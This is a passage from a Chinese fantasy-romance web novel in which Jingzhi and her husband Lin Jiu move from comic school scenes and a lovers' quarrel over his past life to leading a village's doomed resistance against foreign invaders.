“还有半个时辰呢,从这里走过去,也就不到一刻钟,师娘你……是迫不及待想看我师父送的礼物吧?” 静之:“是又怎么样?哼,不给你们看,好奇死你们!” 第240章 林九的礼物 “祖奶奶,你确定你要从头开始学?”梁恩问。 “当然,说了要系统的开始学习,当然要从最基础的学起喽!” 静之背着斜挎包,拿着饭盒,边快步走着,边朝梁恩扬了扬下巴,“赶紧的,趁着还没开始上课,让我插个班呗。” “……哦,这可是你自己说的。” 梁恩摸了摸胡子,将静之带到了梁宅侧面的医学堂。 这里的中药味更加浓厚,还多出了几分墨香。 一闻到这个味道,静之就想起被二娣压着练字的那种生无可恋感。 罢了,这回算是她自己撞枪口上的,没什么好说的。 此时院内读书声声声入耳,静之有理由怀疑自己迟到了。 “不是说辰时开始上课吗,老头你驴我?” 梁恩脚步一滞,无奈笑着摇头,“不是,这是晨读,是学生们自发过来学习的,您别看昨儿他们在演武场吵吵闹闹的,一个个可都是上进的好孩子呢。” “哼,这才差不多。” 她跟二娣的子孙哪有好吃懒做的呢,都是乖小孩。 静之看着门口右上角的入门班招牌,朝梁恩又确认了一遍,“是这里吧?” “……是,您推门进去就行,我先走了!!!” 话还没说完,梁恩一个八十多的老头,跟脚底抹油了似的,溜得飞快。 “什么嘛。”静之望着他的背影,手扶上了门把,“人老成精,他倒好,到老就神神叨叨的。” 她收回眼神,按下门把,推了进去。 然后又迅速关上,眨了眨眼睛,轻轻扇了自己一巴掌,妄图打醒自己。 缓了得有五秒,她深吸一口气,刚想推门进去,门就从里面被打开来。 一位穿着白色长袍的年轻先生,朝她和煦的笑道: “您是静之姑娘吧,快进来,要上课了。” 静之只看了他一眼,又将眼神调低高度,对上他身后那懵懂天真的二十几双狗狗眼。 我咧个大豆!!! 初级班,是梁家幼儿园吗? 她一个快三百岁的人来上幼儿园,被林九知道的话,不会嘲笑她智障吧? “姐姐,进来呀!” 坐在教室最后面的小光突然站起来,露出缺了个门牙的牙缝,笑着朝她招手。 “抱歉,静之姑娘,因为身高的原因,您不能坐到前面哈,麻烦您坐到小光旁边。”先生指向小光旁边空着的位置说。 “没,没事。”静之扯出一抹苦笑,磨磨蹭蹭的走了进去。 她有一个六岁的同桌,也不知道是幸,还是不幸。 仿佛闯进了小人国,这里的课桌椅都小小的。 饶是才一米六八的静之在这儿也伸展不开手脚。 她逼仄的坐在小光旁边。 她面前的桌子宽虽宽,但是矮的很。 静之一双大长腿无处安放,矮矮的桌子底下放不开她的脚,于是只能并着支到旁边过道处,跟个女巨人似的。 先生饱含着歉意看了她一眼。 “抱歉,您先这样坐会儿,等会下课我安排一块正常的桌椅过来。” “没事。” 静之叹了口气,把书包搁在腿上,把里头的教材翻了出来。 书本抽出来时,林九送的两个礼物跟着滑落出来。 她眼疾手快,一手一个接住。 是哦,被小人国吓到,她差点忘记这两个东西了。 根据刚刚林九临走前那副局促害羞的模样,这俩东西一定有猫腻。 “去去去,你别看,小孩子看什么看,读你的书去!” 跟赶苍蝇似的,静之朝一脸好奇的小光扬了扬手,然后小气吧啦的用手圈住盒子,一副不与君共享秘密的神秘样儿,给小光气了个半死。 “哼!小气鬼,不看就不看!” 她暗戳戳的打开那个长条盒子。 嚯哦! 阿九搞什么嘛,她上学给她带根糖葫芦做什么? 没错,长条盒子里装的赫然是根晶莹剔透的红色糖葫芦。 糖衣外头小心用糯米纸包着,一点都不黏手。 她想了想剥下一颗,然后杵了杵她同桌的小胳膊肘。 “光啊,生啥气,来,张嘴!” 小光嘴翘得都能挂个油壶了,他用眼角瞥一眼静之,看到她手里的东西时,瞬间两眼放光,然后—— “报告先生,她上课偷吃东西!” 静之当场被抓,糖葫芦被没收,祖宗的老脸瞬间丢了个一干二净。 年轻的先生手里拿着证据,一张俊脸憋得通红,估摸着心里正在暗自蛐蛐她吧。 这下可好了,嘴翘得老高的人,换成她了。 一六岁,一三百多岁的两个人,在书桌上瞬间画了条三八线。 看着背对着他的漂亮姐姐,小光有些犹豫,但仍哼了一声,拿着书,晃悠着光脑门念着汤头歌。 静之:好好好,小小年纪就喜欢打小报告,她也不跟他好了。 剩下的一个方盒子,不会是个苹果吧? 静之期待的心如同普通气球般,刚刚被糖葫芦一下戳漏气了。 她把盒子放在腿上,眼睛时刻注意讲台上老师的动作,然后趁他转身的时候,快速掀开盖子。 还没看清里面的东西,一张纸突然飘然落回她怀里。 静之撑开一看。 【之之: 记得糖葫芦别在课上吃。】 啧,失策了。 她怎么没有先打开这个盒子呢。 【这个礼物,本想七月十八送你的,结果拖到现在,抱歉。 时间有些紧,我想了想,还是觉得应该这个时候送你。 你拿来当镇纸用刚刚好。】 看到这儿,静之把视线挪回盒子里的东西。 身长而立,高束着头发,拿着佩刀,环胸一脸酷酷的小玉人儿,可不就她嘛。 静之把那个小玉人拿了出来,才发现双脚站立的位置之下,是一块平坦的长方形玉石底座。 哎呦,镇纸用它,是不是有些大材小用了? 本不含期待,结果他给了她这么大一个惊喜,还真给她整不会了。 咦,这什么? 盒子底部还有一个小小扁扁的,拇指粗细的玉石。 静之拿出来一看,顿时笑眯了眼。 嘿嘿,她相公昨天才知道她是只猫猫的事儿,今天就送了她一只小玉猫,她可太开心了。 手心的小玉猫呈闭目养神的卧趴状,尾巴乖巧的卷到腿侧,左边立耳处有个小洞。 这是干啥使的? 她拿起林九写的“使用说明书”接着看。 【小猫是临时做的,你看要当笔搁,还是找条绳子串起来当饰品都可以。 最重要的是,要随时带在身上。 它的底座有我刻的防护阵,你的身份万万不可暴露,切记。 林九】 察觉到同桌的目光,她清了清嗓子说: “我可没玩玩具啊,这是镇纸,这是笔搁,我相公特意给我准备的。” 眼馋精巧物件的小光,实在扛不住诱惑,眼睛死死盯着静之手里的小玉猫。 “想摸啊?” 他犹豫了下,动了动脑袋点点头。 “把三八线擦了,再叫声大王。”她挑眉怪笑。 “……先生!她威胁我!还跟别人传小纸条!”小光坐得板板正正,然后举手。 好好好! 臭小子,这么玩是吧! “诶诶诶,那我的,别拿走!” 先生一把夺过她手里的纸条,一目十行的看着。 老天爷! 他看到老祖宗的情书啦!! 谁说上辈子作孽,这辈子就只能当先生的!当先生的好处,这时候可不就体现出来了吗? 他紧紧抿着嘴,防止自己笑出来,然后对对面捏着手,一脸生无可恋的曾祖奶奶说: “静之姑娘,等会儿下了学堂,请把这位叫林九的人请来,我有话与他说。” 静之:得,头一天上学就被请家长。 小光脑袋!我与你不共戴天啊!!! 第241章 当话痨被迫当起了哑巴 初级班其实主要就是背诵一些基础药材,跟着念念汤头歌,做做医学启蒙啥的。 这玩意儿,还真得靠自觉,所以放学时间也早。 看着在梁宅门口被扣下来讲话的林九,静之站在道路旁的榕树下,有些心虚的抠着衣角。 礼物是他送的,纸条是他写的,这……不能怪她吧? “走吧!” 不知何时,林九早已走了过来,接过她肩上的书包背着,然后牵着静之转身就走。 她任他牵着,两只灵动的眼睛不时侧过去偷看他的脸色。 “……九哥,那什么,不是我的错,我就是打开看了看,我也没吃。” 林九脚步一滞,朝她伸出手,“小玉猫呢?拿出来。” 静之紧紧捂着领口,不禁后退一步,“才不给,你送给我的,就是我的了!” 林九拉着的脸突然一和,“你戴在脖子上了?” “当然!”她从领口掏出被红绳绑住的玉猫,“你看,班里的妞妞帮我编的,这样就不会左右移位了,好看吧。” “……” 妞妞? 她倒是跟什么年纪的都能处得来。 垂在身侧的手实在没忍住,伸到她脑袋上,顺了顺她的头发。 “你啊,先生都跟我说了,你跟小光闹别扭了?为什么不愿意跟他做同桌,他都哭了。” “他打小报告,还害得你给我买的糖葫芦跟小纸条被没收了。” 谈到那个小兔崽子,静之单手叉着腰,气得像只小茶壶。 她到底几岁啊,怎么跟个小孩子也气性这么大? “……先生还回来了,以后不管是我,还是阿宝和小海,不管是谁给你什么东西,你课后再打开看。” 静之喜滋滋接过糖葫芦和小纸条,嗷呜一口就咬掉半颗,然后把另外半颗剥下来塞进林九嘴里。 “我性子急嘛,更何况东西是你送的,我挨不到课后看的。” “阿宝送的饭我就没打开。”她还补充了一句。 林九无语凝噎,不知是该高兴,还是该烦恼。 莫名的,他有一种当爹的感觉。 她的性格很是多样化,充满义气的同时又很贴心,有时候更是童心未泯,跟个缺牙的娃娃也能杠起来。 …… 一根糖葫芦被二人分食。 彻底开胃的静之被林九带回道观。 先一步回来的阿宝早就备好了饭菜,此时四人相对而坐。 静之被叫家长的事儿,早就被嘲笑完了。 此时四个人皆一脸严肃。 “郊外你去看过了吗?”静之问。 林九筷尖一滞,抬起头说:“去过了,除去郊外那批大烟,还有几批各藏在城外不同位置。” 林九的眸里闪过一丝冷光,“人嘛,先养着,小海你这几天负责给他们送饭,还有,不管你用什么方法,都要给我把那些位置从他们两个的嘴里给我撬出来。” 小海手一抖,碗里的汤差点撇地上去了。 “我啊?” 他面露难色,“我怕扣太久,威大人他家夫人出来寻人怎么办,到时候尚书大人找到我们头上,咱们可得吃不了兜着走了。” 静之表示赞同,“对了对了,还有那个老鸨,那晚她是见过我的。” 她就说有什么东西被忘记了。 那老鸨,不会还被定在那间破房间里吧。 林九安抚性的拍了拍她的手,“那晚你睡着后,我回去用符咒清除她的记忆了,她不会记得那晚发生过什么的。” “……你真棒!”静之眸子一亮,旋即对林九竖起了大拇指。 她有时候是有些粗心的,林九的细心正正好补足了她这一缺点。 林九:“你先别高兴的太早,小海说的对,威霸天审是要审的,但不能扣超过3日,而且……”他莫名咬紧了牙根,“暂时还不能杀他。” “……我知道的,你说过嘛,坏人自有天收,别脏了自己的手,给自己多增添业报。” 静之搅动着米饭,心里有几分不爽,却又无可奈何。 林九:“……我有说过吗?” 理是这个理,但他,好像真没说过这话吧? 静之突然埋头库库喝汤,再不敢多说一句话。 坏菜儿了,处对象处窜了。 不是这个林九说的,那就是上个林九说过的。 哎呦喂,瞧她这张嘴啊。 林九莫名看了她一眼,慢悠悠喝了口汤。 林九:“……卿卿?” 静之:“噗——咳咳咳——” 老大一口汤直接吹对面的小海脸上。 小海捏着袖子轻轻抹一把脸,面带微笑看着她,佛性的同时就差捻个拈花指了。 殊不知此时小海的心里却疯狂劝自己: 【看在五十两的份上,小海你要冷静,跟谁过不去都不能跟钱过不去!!】 “没事,我没事,你们接着聊,我去洗把脸。” 心慌意乱的静之跟着站了起来,“我,我去洗个嘴。” 林九:“坐下!” 哐当两声响,离桌的两个人又默默坐了回来。 林九对小海翻了个白眼,“不是说你,要洗脸就赶紧去。” 小海走了,静之露出了羡慕的眼神。 林九一口饭实在吃不下去,拉着她回了她的小院。 斜阳西下,烧红的云彩层层叠叠布满了整个天际。 小院子里荡秋千的声音吱呀吱呀响着。 静之有一下没一下蹬着脚,看着背对着她,昂起头看火烧云的林九。 他到底要干什么嘛,拉她过来都快一刻钟了,一句话也不说。 “九哥……” 刚说俩字,就被林九打断,“之之,我只想问你几个问题。” 他的语气里,是藏不住的忐忑和低落。 静之腾的一下,立刻从秋千上站了起来。 她上前一步,刚牵住他放在身侧的手,却被他轻轻拂开。 她脸上带着的笑意随着落日的余晖渐渐消失殆尽。 此时的林九却无心安抚她。 他,只想知道答案。 说是不去想,不用在意太多,可他酸涩的心告诉他,不是这样的。 林九转过身,双手把住她的肩膀,那双能洞悉人心的眸子死死盯着她。 “之之,你是不是还认识另外一个叫林九的?” 她的心咯噔一下,顿时漏了半拍。 刚想回答,掉链子的天道这时候又出来找存在感了。 说不得。 见她不回答,林九眼里的失落更甚。 但很快,他的眼里又升起了一丝期翼,“你……爱他吗?” 完犊子,问的都是什么问题?! 她就算昧着良心,也回答不出不爱他前世的话。 望着她躲闪和莫名无奈的眼神,林九的一颗真心瞬间碎成了八块。 他缓缓放开她的肩,自嘲一笑,缓缓侧过脸,看着一片黑暗,月亮还未升起的天空,“那我……是他的替身吗?” 天道若在眼前,她恨不得抽死它。 怎么每个世界,林九都得怀疑自己一次? 被迫当哑巴的话痨静之,此时心如死灰。 林九:呵,她又不回答,看来还真是了。 微光浮起,林九秉着心中最后一丝希望,转回头问她: “之之,你……爱过我吗?是我这个人,站在这里的林九。” 他不应如此卑微。 静之固执的盯着他,这个问题,无关前世,她还是能回答的。 “不是爱过,我,一直都爱着你,是进行时,永无止境的进行时。” 第242章 战吗?战啊! 华灯初上,月光给院子里的两个人晕上了一层淡淡的光辉。 林九深沉的眸底仿佛也被她一句话照亮,他突然伸出结实的臂膀,把静之用力揽进怀里。 “怪我,说是不介意,可我介意得要命。” 他的指尖微微颤抖着,仿佛昭示着他的不安。 林九更加用力搂紧怀里的佳人,“之之,以后只要我一个,不许再看别人了。” 他是个小心眼的人,心里装下她之后,就再也装不下其他人了。 他希望,她也能如他一般。 正在心里破口大骂天道的静之,见到林九这副毫无安全感的样子,眸里的心疼都快溢出来了。 “好,只要你。” 仿佛要给他安全感,静之回搂住他的腰,把上辈子林九对她的承诺,完整的给他说了一遍。 “九哥,我知道光嘴上说说,你肯定还是不放心,以后,我会用行动证明给你看的。” 冥冥中,她真的觉得有业报这回事。 产生了因,某一天必会结出果来警示世人。 【天道大大,你就当我刚刚骂的话是在放屁吧。他不记得我也没有关系,我……会努力的。】 她在心里默念。 …… “之之,来复习功课吧,我考考你。” 月光中甜蜜牵手的两人,突然逃跑了一个。 然后被另外一个一把子扛在肩上,连带着书包一同拎进书房里。 “跑什么,今日事今日毕,来,我们来默第一课,默不出来,你……就要亲我一下。” “我才读了几遍,你,你臭不要脸!”静之抖着手指指着他,咬着牙,一脸“你不可理喻”的样子,给林九逗笑了。 他轻轻捏住她的食指,落下温柔一吻。 “当初我也是读几遍就记住了的,你这么聪明,一定也可以的。” “来吧。”他铺好纸,磨好墨,然后把工位让给静之,又扯了块椅子坐在她旁边。 不是人啊! 都没让她复习一遍就直接考! 她看他纯纯就是居心不良。 “我就不信了。” 战鼓敲响,好胜心拉到了顶点。 静之瞪了一眼旁边那个单手撑着脑袋,好整以暇看着她的男人,然后低头默写。 十五分钟后,她把检查了好几遍的一小节汤药歌神气的扬到他跟前,连带着教材一起啪的一声甩到他面前的桌上。 “来吧,你核对下,要有错误,我跟你姓!” 林九捏着纸张,一目十行检查着,“之之,我们两个都姓林,有错误的话,你就要履行承诺。” 静之:“……哼,行。” 林九越看眉头压得越低。 “没错吧?哪里错了?” 静之开始怀疑自己是不是眼拙了,头凑过去跟他一起看。 清浅的甜香顺着她的发丝萦绕在他侧边,林九眼角的余光默默瞥了她一眼,有些不爽的回答: “没错,都对了。” “哈!我就知道!这等小儿科的东西能难得倒我?!” 林九翻过一页教材,来到第二课——人体穴位图。 “你有基础,刚刚的不算。” “来,我指向你身上的穴道,你要说出来,不然算你输。” 静之被林九的这不符合规矩的厚脸皮话语彻底惊住了。 “不……” 一根手指点中了她的锁骨中心一点,完全不理她的反驳,自顾自问道: “这是什么穴位?” “璇玑。” 呵,以前她学武的同时也要学点医术跟推拿,就这点东西,还想难倒她? 林九:呦,还真有两把刷子啊。 他坏心眼的指向一处容易搞混的部位——她的脐部中央。 他的指尖暗戳戳的平放,触及的面积增大,一下按到了两个相邻的穴位。 “这又是哪里?” 静之想也没想,就扬起下巴说: “神阙穴!为精、气、神、血往来之要,九哥,你要考我,也考考不重要且难记的穴位嘛,考这个位置不就相当于把答案喂到我嘴里吗?” “哦?”林九微微勾唇,左手指尖未动,右手挑起她的下摆,把她白白的肚皮袒露出来。 “你再看看,我摁的是哪里?” “阴交穴,不,神阙穴。”静之产生疑惑,并眯着眼睛看向林九,“你偷偷移位了?” 林九与她对视,“我移位的话,你这么敏感,我相信你一定能感受得出来的。” 他的眼神太过无辜,而且她确实没有感受到他手指挪动,静之撇了撇嘴,愿赌服输,亲了他脸颊一口。 然后问:“答案是什么?” 林九神秘一笑,说:“阴交穴和神阙穴都摁住了,我有说只考一个吗?” 要命,原来还是多选题。 静之咬牙切齿看着他,不服输的说: “再来!” 林九微微挑眉,小猫咪,活了这么久,怎么没多长几个心眼呢? “好,等会输了,可别不承认。” 静之胸脯一拍,“才不会,我是那种人吗?” …… 这天晚上,缺心眼的静之,和心眼多如莲藕的林九斗智斗勇,小猫咪被骗得底裤都不剩,嘴都亲烂了,一次都没赢过。 不知何时,又滚到床上的静之,气喘吁吁推搡着林九,哭唧唧的说: “呜呜呜,你都不让让我!我还在学习呢,你就可劲儿欺负我。” 林九抵着她的额头,炽热的唇又落回她唇上,“呵,那我刚刚问的,你都记住了吗?” 静之憋屈得一口咬住他,“记住了,死都不会忘记!” 林九任她咬着,眼里尽是愉悦,他含糊笑着说: “说明我的方法很有效,等月中考核,你一定是班里第一名。” 静之缩回他怀里,捏紧拳头捶了一下他的胸膛,“谁要得幼儿班的第一名!我明天就申请跳级!” 跳级好啊。 医学到后面,可是越来越难的。 到时候她又输了,他就可以…… 陷入遐想的林九两侧脸颊突然被双双捏住,“你是不是又在想什么坏招?” 林九微微睁大眼睛,把清澈的眼神袒露给她看,“没有,跳级很好啊,既然这些基础的你会,也没必要浪费时间了。” “……我也是这么想的。” 瞧不出林九有什么猫腻,静之放开他,转而抱着他的胳膊悠悠叹了口气。 “九哥,学无止境,既然放学时间早,以后下午咱们回来,你教我武术好不好?” 不能使灵力,她也得增长一下自身技能,技多不压身嘛。 没想到小白兔自己撞枪口上的林九,心里甚悦,他巴不得她多拨一些时间与他相处。 “好,可是这样你会太累的吧。” 静之爬起来,郑重说道: “我想过了,不管未来如何,敌人会不会打进来,什么时候打进来,只要我做好准备,待不待在衙门都一样。” “我……打算辞了那份工,以后,你养我呀!”她纤长的食指轻轻抚着他笔直的鼻梁,调笑着说。 林九却是一本正经回答: “好,我养你,你专心学习,不用担心这些。” “……你说话真好听。” 静之微微顿了一下,然后亲昵的搂住他的脖子,趴在他身上狂蹭。 等蹭够了,她才红着脸抬起头,“我也有钱的,不用担心钱的事儿,有件事儿,我需要你帮忙一起做。” 林九:“什么事?” 她不会又想上什么坟了吧? “之前说挖一个防空洞的事儿。” “防空洞?” 没听过,但大致能明白是什么意思。 前几年洋人大炮打进来的时候,他可是见识到了。 “是啊。”静之搜肠刮肚的回忆以前课本上学的,一一说给林九听: “这洞一定要够深,够结实,不然敌人一炮打来,咱们连坟都不用挖了。” “然后呢,要保持空气流通,还要配备应急粮食和医药用品。” “另外,地底温度低,被褥衣物也要备齐。” “最好啊,能配好隐秘的逃生通道,平时呢,也要注意逃生演练……” 那天晚上,静之絮絮叨叨的,跟林九聊了大半宿。 他不知道她到底在害怕什么。 不过,既然是她想做的,那他肯定支持到底。 直到有一天,林九终于体会到了这个洞的妙用。 那是婚后第七年。 宛如平地一声雷,尚在睡眠中的林九倏然睁眼,一把抄起床头摆着的应急行李,牵着瞬间弹跳而起的静之就往防空洞赶去。 刚出院门,就看到小镇此时火光四起。 投掷而来的炮弹每落下一颗,就是一个家庭的消失。 落瓦碎砖遍地,这一隅居民因为有林九跟静之这些年来暗中硝烟的举措,不至于跑不动。 然而也有一些衰运上头的人直接被一炮炸飞。 血雾纷飞,残肢断臂落了一地,远处祥和的小镇,仿佛化作人间炼狱。 静之一脸肃穆的站在洞口观察局势,手心冰凉。 “阿九……你说,他们能来得及逃过来吗?” 林九放下被她盘出包浆的望远镜,对她说: “别担心,我看到他们了,估计不到一刻钟就会到。” 静之侧过头,视线一一划过站在她身侧的林九,阿宝,小珠,小海。 她在乎的人都在这里。 那……她在乎的国家呢? “我是说……小镇的人们。” 这些年,他们挖完足够藏匿梁家人跟他们的洞以外,还无偿在不甚显眼的郊外掘了好几处山洞。 “阿九……我想……等会炮火一停,我想出去。” 林九牵住她不知何时微微颤抖着的手,坚定的说: “我早就知道会有这么一天了,我陪你一起。” “一不小心……会死的。”她说。 “我不怕。” 这七年,她果然做到了她的承诺,眼里唯有他一人。 只是她忙得很,不是在学医的路上,就是在救济世人的路上。 林九眼睁睁的看着她亮成了一个小太阳。 午夜梦回时,他竟发现,他周身也跟着带上了金光,连带着阿宝,小海,也隐有功德金光浮现。 风云暗涌。 这七年时光,仿佛是他偷来的欢乐生活,林九已经非常满足了。 “好,九哥跟我一起。” 静之缓缓回握住他的手。 阿宝拍了拍小珠的手,跟着站了出来。 “我也去!” 小海也拍了拍胸脯站了出来,“我也一样。” 静之看了一眼大肚子的小珠,轻轻把阿宝推了回去,“你别去,她需要你。” 阿宝眼里隐有泪光,“师娘,我,我也是中国人!” 静之微微一顿,随即轻轻拍了拍他厚实的肩膀,“你不想你的孩子一出世就没了爹吧。” “小海,你那五十两还没花呢,你确定要去?” 小海看着陷入火海的小镇,忍不住抹了一把泪。 “师娘你说什么呢,哪里还有地方花钱,师兄说得对,我也是中国人,我没老婆没孩子,还会点医术,我最适合出去救人了。” 说到这里,他顶激灵的脑瓜一下就想到了重点。 “你们……该不会是早知道会这样,才没要孩子的吧?” 林九看着这个快到而立之年的徒弟,忍不住拍了拍他的背。 “人的一生,都是带着使命来的,我这半生,传道授业,斩魔降妖,已是耗费不少精力,要不动孩子了,这事儿…你师娘也同意了。” 小海看向静之,“师娘你……” “我什么,什么叫孩子,我认为由心血浇灌出来的,也是我的孩子,比如我的医术,比如你师兄的店铺,比如你日益精进的道术,都是你的孩子。” “小海啊,做人呢,眼光要放长远一点。” 小海挠了挠脑袋,觉得静之这些年说的话是越来越玄乎了。 …… 这场实力悬殊的战争,整整持续了4年时间。 外面已是一片焦土,浮尸遍野,尸骨满地。 躲在洞里的人一开始倒还好,到后来,他们不得不走出防空洞寻找粮食,以及发起迫不得已的反攻。 这几年,林九和静之带领着梁家人,偷偷在外面行医救人,个个都瘦了不少,就连一直都胖着的阿宝也消瘦许多。 不过他们眼里的希望从未泯灭。 只要还有人在,他们相信,总有一天,野火燃遍的草原,会变成一块沃土,重新绽放出希望之花。 同年十月。 “清军都退缩了,明知此战必败,在座的各位……战吗?” 林九环视洞里的众人。 “战!” 梁家会武的众人站了出来。 “战!”梁媛拄着拐站了出来。 看着众人犹豫的脸色,她笑着说: “老身也没几年好活了,清军不能代表我们所有中国人,虽知敌军数万人马在此,咱们此战必败,但老身想说的是……该让这群洋鬼子好好开开眼了,今日务必要让他们知道……” “中国人,不全都是东亚病夫!!” “战!”小光变成了帅气白发小哥中光。 他意气风发来到梁媛身后,“奶奶去的话,我也要去!” 以前静之以为他光头是因为不长头发,原来是因为他遗传了她的发色,怕被人欺负,才剃掉的。 他不仅遗传了她的发色,还遗传了她的体质和二娣的好脑子,可以说是文武双全。 “你不过十三岁,去个屁,你留下!” 静之一剑鞘杵到他胸口,却没推动他。 嘿,你小子! 要不是怕梁家绝了后,她才不阻止呢。 中光一把握住剑鞘,“十三岁就不是中国人了吗?我也要去!” “去你个……” “静之,他要去,就让他去吧。” 林九说,“不过,咱们得先制定一下策略,不能一味往上冲。” 第243章 生命的终点,我想有你陪着我 昏暗的山洞中,一群人举着火把围着林九。 而林九面前则是一张长桌,长桌上一份砂石制成的缩小版地形图分外瞩目。 此时他往龟壳里投入3枚铜钱,随着铜钱在龟壳里沉闷的撞击声响起,众人的心也跟着提了起来。 “九叔,如何?”沉不住气的小光问道。 “别说话。” 林九眉目一凝,3枚铜钱随之落到桌面上,看完卦象后,他点燃符纸,任带着火光的符灰一一落在铜钱上。 待所有光亮消逝,他扬去符灰,捡起面前一枚带有余温的铜钱,旋即咬破中指将指尖血横向划过铜币。 林九举起带血的铜币,往中间的四方小孔看去,只求能窥得一线天机。 然,还未看上几秒,他心中大骇,喉头一口热血,瞬间喷洒在地形图上。 “九哥!”静之心中一乱,赶紧过去扶住他。 林九却不顾众人还在跟前,拉着她的手,紧紧把她抱进怀里。 他颤抖着声音,凑到她耳边小声说:“静之,算我求你,不到万不得已,你别……千万别自爆。” “……你在说什么,我怎么听不懂。” 莫名奇妙,他到底从卦象里看到什么了? “你只要记住我说的就好了,你敢那样做,我就舍弃这些人,与你共赴九泉!” 他的情绪显然有些崩溃,胸口起伏得十分厉害。 静之抵在他胸前的手,放松力道,旋即穿过他的腋下,抱住他,轻轻拍了拍他的后背,“好,我答应你。” “别说这个了,你刚刚不是看风向吗?今晚吹的什么风?对我们有利吗?” 林九的眼睛红得厉害,他抿着唇,腮帮子绷得紧紧的,稍微退开一下身子。 然后,首次在众人面前,吻上她的额头。 他唇上的血,染红了她的眉心,林九觉得刺眼得紧,拿拇指不断擦拭着,直到她的额头变得干干净净为止。 这才在众人或期待,或揶揄,或担忧的眼光中说: “东风,计划照常进行,至于有没有利,……” “我只能说,事在人为。” 梁恩走到桌前,指着凹陷下去的一处山谷说: “亥时已到,既如此,咱们,依计划行事。” …… 断魂崖上,众人已埋伏完毕。 今天的月儿尤为明亮,秋风在山谷中呼啸出回音,仿佛万千亡魂在哀嚎。 渐渐接近谷口的鹰军许是打了几年战,未逢敌手,此时大摇大摆的走入谷里。 军中唯有一人,左顾右盼,一双贼眼到处瞄着那支着树桠,仿若人形的森林,就怕有他背叛过的恶鬼找他索命。 “喂,你确定这条路能直入镇中?” 领头的鹰钩鼻首领拿着手杖用力杵向威霸天的后背,看到他一个踉跄趴在地上后,周围一圈鹰军皆哈哈大笑起来。 威霸天讪笑着爬起来,指向这条道路尽头的一个巨大的石拱门。 “嘿嘿,那里就是了,我保证,不出一刻钟,咱们就可以直取东城,将这块土地收入囊中了。” 首领轻轻扇了扇他的脸,虽微笑着,眼里却满是阴骛。 “不是咱们,是我,哈哈哈哈哈!” 狂妄的笑声在山谷中回荡,惊起飞鸟无数。 灌木丛后藏着的林九和静之却一动不动。 “我说他怎么不见这么久了,原来是去当走狗了。”静之小小声嘀咕。 “莫说话,时机已到。” 林九全神贯注的看着大队伍进入攻击范围,手中的阵旗渐渐扬起。 他在心中默数。 三……二……一。 “放!”随着一声厉喝在山谷中回荡。 沉闷的咕噜咕噜响声响彻山谷。 还没来得及给枪上膛的鹰军,瞬间就被从崖顶滚落的巨石打乱了阵型。 哀嚎声阵阵响起。 “谁!是谁!”首领举着枪盲目射击,不断转着圈,完全不知道敌人在那个方位。 林九紧抿着唇,将手中阵旗插在阵眼上。 随着口中咒语念出,山谷间突起阵阵浓雾,雾间隐有鬼影攒动。 “八卦迷阵,加你这些年抓的鬼,九哥,你这招可真是够贼的。” 静之眯着眼看向不时有血雾喷射出来的迷阵中心,忍不住吐槽道。 “就算是鬼,他们也是中国的鬼,这时候是时候放出来让他们给自己多攒些阴德了。” 他举起一只手感受了一会儿,然后朝右边的梁媛说: “东风已至,准备的东西都给我洒出去!” 梁媛:“老身早已备好。” 她绷着脸,朝山间隐藏着的娘子军们用力一挥手。 股股白的,黄的,绿的粉末顺着风径直刮向迷阵。 “这什么东西,啊!!我的眼睛,我的眼睛!” “danger!danger!有人放毒!” 首领气急败坏,大手一扬,“全体都有,给我朝周围无差别扫射!” 耳朵极灵的静之从阵阵哀嚎声中听到了这句话,随着一句“趴下!”的吼声,整个山谷响起了响彻天际的枪鸣声。 山间不时闪过几声闷哼,但没人逃离,皆听话的矮下身子,各自找着掩体。 对方装备齐全,弹药众多。 放枪放了许久,林九深知不能再拖下去,他半蹲着小跑到梁纪面前,“油备好了吗,东风还在,用火攻,以彼之矛,攻彼之盾,瞄准他们的弹药箱和炮架上丢!” “备好了!” “那开始行动!” 不多时,四方山崖上在同一时间丢下去无数个燃烧瓶。 底下的鹰军还以为他们丢了什么东西下来,有的直接瞄准燃烧瓶射击。 结果适得其反,瓶子碎裂,油泼漫天,火势越扩越大。 东风刮过,底下突然响起一声极大的爆裂声,天地仿佛为之震动。 “好家伙,谁把瓶子对准炮管丢进去了?”静之问。 “是我!”小光呲着个大白牙,又引燃了一个油瓶,亲身又给她做了一次示范。 这次是弹药箱着火了。 随着木箱烧穿,又是一声巨大的轰鸣,差点没把她震聋。 她捂着耳朵,朝小光做了个口型。 【你小子,算你牛!】 底下的人彻底乱了阵脚,林九站了起来。 一柄桃木剑,是为了斩魔除妖。 此时手中的利剑,则是为了保家卫国。 “杀!” 随着他的一声怒喝,男女老少掀杆而起,从山顶上,往底下冲。 这一战,打了许久。 就在对方剩余寥寥数人,我方灰头土脸,皆放下刀呲着个大牙乐,林九以为要胜利了的时候,远方突然投掷过来一颗炮弹。 “趴下!” 他目眦欲裂,掩着静之的脑袋朝一旁滚去。 一朵蘑菇云由山谷中瞬间升起。 几多少年,还未来得及哀嚎一声,便化为尘土,消失在火光中。 四年前,他们尚可劝自己,家没了,人还在。 有人,就有家。 如今,人没了……又该当如何。 浓雾中,三三两两,有人相互搀扶着站了起来。 林九拍了拍静之身上的尘土,转身看向他们。 都是一些年轻人。 梁纪梁媛他们这些手脚慢的老年人,应该已经……殉国了吧。 他放于身侧的手,渐渐的攥紧拳头,“儿郎们,明知必败,如今还战否?” “战!”小光扶着受伤的手臂,语气飘浮,却也十分坚定。 “我们梁家,没一个是孬种!” “战!”他身后的哥哥姐姐们望着躺了满地,已然逝世的亲人,纷纷举起了手中的武器,大吼道: “战!!!” 林九转回头看向他的发妻,“之之,我……” 静之轻轻抚去他脸上的烟灰,吻上他的唇,满足得轻叹一声: “阿九……不管你做什么决定,之之都愿与你生同衾,死同穴。” 他还是不忍。 林九捡起地上的一箱炸弹,凑近静之的耳边说着什么。 “好,我不怕的,我跟你一起。” …… 大军压境。 坦克的铁履哐当哐当行驶在小道上。 林九表情肃穆,胸腔里有种极其割裂的无力感。 静之却早就知道对方会拿出这种铁疙瘩装备,她倒是不甚惊讶。 林九以指做笔,对着虚空中画起符咒,随着他指尖血的流失,他的嘴唇越发苍白。 耳边流弹渐渐袭来,静之这辈子第一次运用起了灵力建了个结界,笼罩住仅存的数人。 “速度收集敌方武器,能多杀几个都是赚的,给我上!” 她的声音从未如此冷冽,却又充满着力量。 因见了对方坦克,顿感无望的众人,眸里纷纷亮起了希望的光芒。 这就是他们的老祖宗! 她在保护他们。 而他们,何尝不想护着她呢! 